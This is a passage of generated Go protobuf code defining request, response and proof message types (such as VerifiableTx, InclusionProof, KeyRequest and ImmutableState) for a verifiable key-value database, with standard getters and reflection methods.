String() string { return protoimpl.X.MessageStringOf(x) } func (*Expiration) ProtoMessage() {} func (x *Expiration) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[36] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use Expiration.ProtoReflect.Descriptor instead. func (*Expiration) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{36} } func (x *Expiration) GetExpiresAt() int64 { if x != nil { return x.ExpiresAt } return 0 } type VerifiableTx struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields // Transaction to verify Tx *Tx `protobuf:"bytes,1,opt,name=tx,proto3" json:"tx,omitempty"` // Proof for the transaction DualProof *DualProof `protobuf:"bytes,2,opt,name=dualProof,proto3" json:"dualProof,omitempty"` // Signature for the new state value Signature *Signature `protobuf:"bytes,3,opt,name=signature,proto3" json:"signature,omitempty"` } func (x *VerifiableTx) Reset() { *x = VerifiableTx{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[37] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *VerifiableTx) String() string { return protoimpl.X.MessageStringOf(x) } func (*VerifiableTx) ProtoMessage() {} func (x *VerifiableTx) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[37] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use VerifiableTx.ProtoReflect.Descriptor instead. func (*VerifiableTx) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{37} } func (x *VerifiableTx) GetTx() *Tx { if x != nil { return x.Tx } return nil } func (x *VerifiableTx) GetDualProof() *DualProof { if x != nil { return x.DualProof } return nil } func (x *VerifiableTx) GetSignature() *Signature { if x != nil { return x.Signature } return nil } type VerifiableTxV2 struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields // Transaction to verify Tx *Tx `protobuf:"bytes,1,opt,name=tx,proto3" json:"tx,omitempty"` // Proof for the transaction DualProof *DualProofV2 `protobuf:"bytes,2,opt,name=dualProof,proto3" json:"dualProof,omitempty"` // Signature for the new state value Signature *Signature `protobuf:"bytes,3,opt,name=signature,proto3" json:"signature,omitempty"` } func (x *VerifiableTxV2) Reset() { *x = VerifiableTxV2{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[38] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *VerifiableTxV2) String() string { return protoimpl.X.MessageStringOf(x) } func (*VerifiableTxV2) ProtoMessage() {} func (x *VerifiableTxV2) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[38] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use VerifiableTxV2.ProtoReflect.Descriptor instead. func (*VerifiableTxV2) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{38} } func (x *VerifiableTxV2) GetTx() *Tx { if x != nil { return x.Tx } return nil } func (x *VerifiableTxV2) GetDualProof() *DualProofV2 { if x != nil { return x.DualProof } return nil } func (x *VerifiableTxV2) GetSignature() *Signature { if x != nil { return x.Signature } return nil } type VerifiableEntry struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields // Entry to verify Entry *Entry `protobuf:"bytes,1,opt,name=entry,proto3" json:"entry,omitempty"` // Transaction to verify VerifiableTx *VerifiableTx `protobuf:"bytes,2,opt,name=verifiableTx,proto3" json:"verifiableTx,omitempty"` // Proof for inclusion of the entry within the transaction InclusionProof *InclusionProof `protobuf:"bytes,3,opt,name=inclusionProof,proto3" json:"inclusionProof,omitempty"` } func (x *VerifiableEntry) Reset() { *x = VerifiableEntry{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[39] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *VerifiableEntry) String() string { return protoimpl.X.MessageStringOf(x) } func (*VerifiableEntry) ProtoMessage() {} func (x *VerifiableEntry) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[39] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use VerifiableEntry.ProtoReflect.Descriptor instead. func (*VerifiableEntry) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{39} } func (x *VerifiableEntry) GetEntry() *Entry { if x != nil { return x.Entry } return nil } func (x *VerifiableEntry) GetVerifiableTx() *VerifiableTx { if x != nil { return x.VerifiableTx } return nil } func (x *VerifiableEntry) GetInclusionProof() *InclusionProof { if x != nil { return x.InclusionProof } return nil } type InclusionProof struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields // Index of the leaf for which the proof is generated Leaf int32 `protobuf:"varint,1,opt,name=leaf,proto3" json:"leaf,omitempty"` // Width of the tree at the leaf level Width int32 `protobuf:"varint,2,opt,name=width,proto3" json:"width,omitempty"` // Proof terms (selected hashes from the tree) Terms [][]byte `protobuf:"bytes,3,rep,name=terms,proto3" json:"terms,omitempty"` } func (x *InclusionProof) Reset() { *x = InclusionProof{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[40] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *InclusionProof) String() string { return protoimpl.X.MessageStringOf(x) } func (*InclusionProof) ProtoMessage() {} func (x *InclusionProof) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[40] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use InclusionProof.ProtoReflect.Descriptor instead. func (*InclusionProof) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{40} } func (x *InclusionProof) GetLeaf() int32 { if x != nil { return x.Leaf } return 0 } func (x *InclusionProof) GetWidth() int32 { if x != nil { return x.Width } return 0 } func (x *InclusionProof) GetTerms() [][]byte { if x != nil { return x.Terms } return nil } type SetRequest struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields // List of KV entries to set KVs []*KeyValue `protobuf:"bytes,1,rep,name=KVs,proto3" json:"KVs,omitempty"` // If set to true, do not wait for indexer to index ne entries NoWait bool `protobuf:"varint,2,opt,name=noWait,proto3" json:"noWait,omitempty"` // Preconditions to be met to perform the write Preconditions []*Precondition `protobuf:"bytes,3,rep,name=preconditions,proto3" json:"preconditions,omitempty"` } func (x *SetRequest) Reset() { *x = SetRequest{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[41] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *SetRequest) String() string { return protoimpl.X.MessageStringOf(x) } func (*SetRequest) ProtoMessage() {} func (x *SetRequest) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[41] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use SetRequest.ProtoReflect.Descriptor instead. func (*SetRequest) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{41} } func (x *SetRequest) GetKVs() []*KeyValue { if x != nil { return x.KVs } return nil } func (x *SetRequest) GetNoWait() bool { if x != nil { return x.NoWait } return false } func (x *SetRequest) GetPreconditions() []*Precondition { if x != nil { return x.Preconditions } return nil } type KeyRequest struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields // Key to query for Key []byte `protobuf:"bytes,1,opt,name=key,proto3" json:"key,omitempty"` // If > 0, query for the value exactly at given transaction AtTx uint64 `protobuf:"varint,2,opt,name=atTx,proto3" json:"atTx,omitempty"` // If 0 (and noWait=false), wait for the index to be up-to-date, // If > 0 (and noWait=false), wait for at lest the sinceTx transaction to be indexed SinceTx uint64 `protobuf:"varint,3,opt,name=sinceTx,proto3" json:"sinceTx,omitempty"` // If set to true - do not wait for any indexing update considering only the currently indexed state NoWait bool `protobuf:"varint,4,opt,name=noWait,proto3" json:"noWait,omitempty"` // If > 0, get the nth version of the value, 1 being the first version, 2 being the second and so on // If < 0, get the historical nth value of the key, -1 being the previous version, -2 being the one before and so on AtRevision int64 `protobuf:"varint,5,opt,name=atRevision,proto3" json:"atRevision,omitempty"` } func (x *KeyRequest) Reset() { *x = KeyRequest{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[42] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *KeyRequest) String() string { return protoimpl.X.MessageStringOf(x) } func (*KeyRequest) ProtoMessage() {} func (x *KeyRequest) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[42] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use KeyRequest.ProtoReflect.Descriptor instead. func (*KeyRequest) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{42} } func (x *KeyRequest) GetKey() []byte { if x != nil { return x.Key } return nil } func (x *KeyRequest) GetAtTx() uint64 { if x != nil { return x.AtTx } return 0 } func (x *KeyRequest) GetSinceTx() uint64 { if x != nil { return x.SinceTx } return 0 } func (x *KeyRequest) GetNoWait() bool { if x != nil { return x.NoWait } return false } func (x *KeyRequest) GetAtRevision() int64 { if x != nil { return x.AtRevision } return 0 } type KeyListRequest struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields // List of keys to query for Keys [][]byte `protobuf:"bytes,1,rep,name=keys,proto3" json:"keys,omitempty"` // If 0, wait for index to be up-to-date, // If > 0, wait for at least sinceTx transaction to be indexed SinceTx uint64 `protobuf:"varint,2,opt,name=sinceTx,proto3" json:"sinceTx,omitempty"` } func (x *KeyListRequest) Reset() { *x = KeyListRequest{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[43] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *KeyListRequest) String() string { return protoimpl.X.MessageStringOf(x) } func (*KeyListRequest) ProtoMessage() {} func (x *KeyListRequest) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[43] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use KeyListRequest.ProtoReflect.Descriptor instead. func (*KeyListRequest) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{43} } func (x *KeyListRequest) GetKeys() [][]byte { if x != nil { return x.Keys } return nil } func (x *KeyListRequest) GetSinceTx() uint64 { if x != nil { return x.SinceTx } return 0 } type DeleteKeysRequest struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields // List of keys to delete logically Keys [][]byte `protobuf:"bytes,1,rep,name=keys,proto3" json:"keys,omitempty"` // If 0, wait for index to be up-to-date, // If > 0, wait for at least sinceTx transaction to be indexed SinceTx uint64 `protobuf:"varint,2,opt,name=sinceTx,proto3" json:"sinceTx,omitempty"` // If set to true, do not wait for the indexer to index this operation NoWait bool `protobuf:"varint,3,opt,name=noWait,proto3" json:"noWait,omitempty"` } func (x *DeleteKeysRequest) Reset() { *x = DeleteKeysRequest{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[44] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *DeleteKeysRequest) String() string { return protoimpl.X.MessageStringOf(x) } func (*DeleteKeysRequest) ProtoMessage() {} func (x *DeleteKeysRequest) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[44] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use DeleteKeysRequest.ProtoReflect.Descriptor instead. func (*DeleteKeysRequest) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{44} } func (x *DeleteKeysRequest) GetKeys() [][]byte { if x != nil { return x.Keys } return nil } func (x *DeleteKeysRequest) GetSinceTx() uint64 { if x != nil { return x.SinceTx } return 0 } func (x *DeleteKeysRequest) GetNoWait() bool { if x != nil { return x.NoWait } return false } type VerifiableSetRequest struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields // Keys to set SetRequest *SetRequest `protobuf:"bytes,1,opt,name=setRequest,proto3" json:"setRequest,omitempty"` // When generating the proof, generate consistency proof with state from this transaction ProveSinceTx uint64 `protobuf:"varint,2,opt,name=proveSinceTx,proto3" json:"proveSinceTx,omitempty"` } func (x *VerifiableSetRequest) Reset() { *x = VerifiableSetRequest{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[45] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *VerifiableSetRequest) String() string { return protoimpl.X.MessageStringOf(x) } func (*VerifiableSetRequest) ProtoMessage() {} func (x *VerifiableSetRequest) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[45] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use VerifiableSetRequest.ProtoReflect.Descriptor instead. func (*VerifiableSetRequest) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{45} } func (x *VerifiableSetRequest) GetSetRequest() *SetRequest { if x != nil { return x.SetRequest } return nil } func (x *VerifiableSetRequest) GetProveSinceTx() uint64 { if x != nil { return x.ProveSinceTx } return 0 } type VerifiableGetRequest struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields // Key to read KeyRequest *KeyRequest `protobuf:"bytes,1,opt,name=keyRequest,proto3" json:"keyRequest,omitempty"` // When generating the proof, generate consistency proof with state from this transaction ProveSinceTx uint64 `protobuf:"varint,2,opt,name=proveSinceTx,proto3" json:"proveSinceTx,omitempty"` } func (x *VerifiableGetRequest) Reset() { *x = VerifiableGetRequest{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[46] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *VerifiableGetRequest) String() string { return protoimpl.X.MessageStringOf(x) } func (*VerifiableGetRequest) ProtoMessage() {} func (x *VerifiableGetRequest) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[46] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use VerifiableGetRequest.ProtoReflect.Descriptor instead. func (*VerifiableGetRequest) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{46} } func (x *VerifiableGetRequest) GetKeyRequest() *KeyRequest { if x != nil { return x.KeyRequest } return nil } func (x *VerifiableGetRequest) GetProveSinceTx() uint64 { if x != nil { return x.ProveSinceTx } return 0 } // ServerInfoRequest exists to provide extensibility for rpc ServerInfo. type ServerInfoRequest struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields } func (x *ServerInfoRequest) Reset() { *x = ServerInfoRequest{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[47] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *ServerInfoRequest) String() string { return protoimpl.X.MessageStringOf(x) } func (*ServerInfoRequest) ProtoMessage() {} func (x *ServerInfoRequest) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[47] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use ServerInfoRequest.ProtoReflect.Descriptor instead. func (*ServerInfoRequest) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{47} } // ServerInfoResponse contains information about the server instance. type ServerInfoResponse struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields // The version of the server instance. Version string `protobuf:"bytes,1,opt,name=version,proto3" json:"version,omitempty"` // Unix timestamp (seconds) indicating when the server process has been started. StartedAt int64 `protobuf:"varint,2,opt,name=startedAt,proto3" json:"startedAt,omitempty"` // Total number of transactions across all databases. NumTransactions int64 `protobuf:"varint,3,opt,name=numTransactions,proto3" json:"numTransactions,omitempty"` // Total number of databases present. NumDatabases int32 `protobuf:"varint,4,opt,name=numDatabases,proto3" json:"numDatabases,omitempty"` // Total disk size used by all databases. DatabasesDiskSize int64 `protobuf:"varint,5,opt,name=databasesDiskSize,proto3" json:"databasesDiskSize,omitempty"` } func (x *ServerInfoResponse) Reset() { *x = ServerInfoResponse{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[48] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *ServerInfoResponse) String() string { return protoimpl.X.MessageStringOf(x) } func (*ServerInfoResponse) ProtoMessage() {} func (x *ServerInfoResponse) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[48] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use ServerInfoResponse.ProtoReflect.Descriptor instead. func (*ServerInfoResponse) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{48} } func (x *ServerInfoResponse) GetVersion() string { if x != nil { return x.Version } return "" } func (x *ServerInfoResponse) GetStartedAt() int64 { if x != nil { return x.StartedAt } return 0 } func (x *ServerInfoResponse) GetNumTransactions() int64 { if x != nil { return x.NumTransactions } return 0 } func (x *ServerInfoResponse) GetNumDatabases() int32 { if x != nil { return x.NumDatabases } return 0 } func (x *ServerInfoResponse) GetDatabasesDiskSize() int64 { if x != nil { return x.DatabasesDiskSize } return 0 } type HealthResponse struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields // If true, server considers itself to be healthy Status bool `protobuf:"varint,1,opt,name=status,proto3" json:"status,omitempty"` // The version of the server instance Version string `protobuf:"bytes,2,opt,name=version,proto3" json:"version,omitempty"` } func (x *HealthResponse) Reset() { *x = HealthResponse{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[49] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *HealthResponse) String() string { return protoimpl.X.MessageStringOf(x) } func (*HealthResponse) ProtoMessage() {} func (x *HealthResponse) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[49] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use HealthResponse.ProtoReflect.Descriptor instead. func (*HealthResponse) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{49} } func (x *HealthResponse) GetStatus() bool { if x != nil { return x.Status } return false } func (x *HealthResponse) GetVersion() string { if x != nil { return x.Version } return "" } type DatabaseHealthResponse struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields // Number of requests currently being executed PendingRequests uint32 `protobuf:"varint,1,opt,name=pendingRequests,proto3" json:"pendingRequests,omitempty"` // Timestamp at which the last request was completed LastRequestCompletedAt int64 `protobuf:"varint,2,opt,name=lastRequestCompletedAt,proto3" json:"lastRequestCompletedAt,omitempty"` } func (x *DatabaseHealthResponse) Reset() { *x = DatabaseHealthResponse{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[50] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *DatabaseHealthResponse) String() string { return protoimpl.X.MessageStringOf(x) } func (*DatabaseHealthResponse) ProtoMessage() {} func (x *DatabaseHealthResponse) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[50] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use DatabaseHealthResponse.ProtoReflect.Descriptor instead. func (*DatabaseHealthResponse) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{50} } func (x *DatabaseHealthResponse) GetPendingRequests() uint32 { if x != nil { return x.PendingRequests } return 0 } func (x *DatabaseHealthResponse) GetLastRequestCompletedAt() int64 { if x != nil { return x.LastRequestCompletedAt } return 0 } type ImmutableState struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields // The db name Db string `protobuf:"bytes,1,opt,name=db,proto3" json:"db,omitempty"` // Id of the most recent transaction TxId uint64 `protobuf:"varint,2,opt,name=txId,proto3" json:"txId,omitempty"` // State of the most recent transaction TxHash []byte `protobuf:"bytes,3,opt,name=txHash,proto3" json:"txHash,omitempty"` // Signature of the hash Signature *Signature `protobuf:"bytes,4,opt,name=signature,proto3" json:"signature,omitempty"` // Id of the most recent precommitted transaction PrecommittedTxId uint64 `protobuf:"varint,5,opt,name=precommittedTxId,proto3" json:"precommittedTxId,omitempty"` // State of the most recent precommitted transaction PrecommittedTxHash []byte `protobuf:"bytes,6,opt,name=precommittedTxHash,proto3" json:"precommittedTxHash,omitempty"` } func (x *ImmutableState) Reset() { *x = ImmutableState{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[51] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *ImmutableState) String() string { return protoimpl.X.MessageStringOf(x) } func (*ImmutableState) ProtoMessage() {} func (x *ImmutableState) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[51] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use ImmutableState.ProtoReflect.Descriptor instead. func (*ImmutableState) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{51} } func (x *ImmutableState) GetDb() string { if x != nil { return x.Db } return "" } func (x *ImmutableState) GetTxId() uint64 { if x != nil { return x.TxId } return 0 } func (x *ImmutableState) GetTxHash() []byte { if x != nil { return x.TxHash } return nil } func (x *ImmutableState) GetSignature() *Signature { if x != nil { return x.Signature } return nil } func (x *ImmutableState) GetPrecommittedTxId() uint64 { if x != nil { return x.PrecommittedTxId } return 0 } func (x *ImmutableState) GetPrecommittedTxHash() []byte { if x != nil { return x.PrecommittedTxHash } return nil } type ReferenceRequest struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields // Key for the reference Key []byte `protobuf:"bytes,1,opt,name=key,proto3" json:"key,omitempty"` // Key to be referenced ReferencedKey []byte `protobuf:"bytes,2,opt,name=referencedKey,proto3" json:"referencedKey,omitempty"` // If boundRef == true, id of transaction to bind with the reference AtTx uint64 `protobuf:"varint,3,opt,name=atTx,proto3" json:"atTx,omitempty"` // If true, bind the reference to particular transaction, // if false, use the most recent value of the key BoundRef bool `protobuf:"varint,4,opt,name=boundRef,proto3" json:"boundRef,omitempty"` // If true, do not wait for the indexer to index this write operation NoWait bool `protobuf:"varint,5,opt,name=noWait,proto3" json:"noWait,omitempty"` // Preconditions to be met to perform the write Preconditions []*Precondition `protobuf:"bytes,6,rep,name=preconditions,proto3" json:"preconditions,omitempty"` } func (x *ReferenceRequest) Reset() { *x = ReferenceRequest{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[52] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *ReferenceRequest) String() string { return protoimpl.X.MessageStringOf(x) } func (*ReferenceRequest) ProtoMessage() {} func (x *ReferenceRequest) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[52] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use ReferenceRequest.ProtoReflect.Descriptor instead. func (*ReferenceRequest) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{52} } func (x *ReferenceRequest) GetKey() []byte { if x != nil { return x.Key } return nil } func (x *ReferenceRequest) GetReferencedKey() []byte { if x != nil { return x.ReferencedKey } return nil } func (x *ReferenceRequest) GetAtTx() uint64 { if x != nil { return x.AtTx } return 0 } func (x *ReferenceRequest) GetBoundRef() bool { if x != nil { return x.BoundRef } return false } func (x *ReferenceRequest) GetNoWait() bool { if x != nil { return x.NoWait } return false } func (x *ReferenceRequest) GetPreconditions() []*Precondition { if x != nil { return x.Preconditions } return nil } type VerifiableReferenceRequest struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields // Reference data ReferenceRequest *ReferenceRequest `protobuf:"bytes,1,opt,name=referenceRequest,proto3" json:"referenceRequest,omitempty"` // When generating the proof, generate consistency proof with state from this // transaction ProveSinceTx uint64 `protobuf:"varint,2,opt,name=proveSinceTx,proto3" json:"proveSinceTx,omitempty"` } func (x *VerifiableReferenceRequest) Reset() { *x = VerifiableReferenceRequest{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[53] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *VerifiableReferenceRequest) String() string { return protoimpl.X.MessageStringOf(x) } func (*VerifiableReferenceRequest) ProtoMessage() {} func (x *VerifiableReferenceRequest) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[53] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use VerifiableReferenceRequest.ProtoReflect.Descriptor instead. func (*VerifiableReferenceRequest) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{53} } func (x *VerifiableReferenceRequest) GetReferenceRequest() *ReferenceRequest { if x != nil { return x.ReferenceRequest } return nil } func (x *VerifiableReferenceRequest) GetProveSinceTx() uint64 { if x != nil { return x.ProveSinceTx } return 0 } type ZAddRequest struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields // Name of the sorted set Set []byte `protobuf:"bytes,1,opt,name=set,proto3" json:"set,omitempty"` // Score of the new entry Score float64 `protobuf:"fixed64,2,opt,name=score,proto3" json:"score,omitempty"` // Referenced key Key []byte `protobuf:"bytes,3,opt,name=key,proto3" json:"key,omitempty"` // If boundRef == true, id of the transaction to bind with the reference AtTx uint64 `protobuf:"varint,4,opt,name=atTx,proto3" json:"atTx,omitempty"` // If true, bind the reference to particular transaction, if false, use the // most recent value of the key BoundRef bool `protobuf:"varint,5,opt,name=boundRef,proto3" json:"boundRef,omitempty"` // If true, do not wait for the indexer to index this write operation NoWait bool `protobuf:"varint,6,opt,name=noWait,proto3" json:"noWait,omitempty"` } func (x *ZAddRequest) Reset() { *x = ZAddRequest{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[54] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *ZAddRequest) String() string { return protoimpl.X.MessageStringOf(x) } func (*ZAddRequest) ProtoMessage() {} func (x *ZAddRequest) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[54] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use ZAddRequest.ProtoReflect.Descriptor instead. func 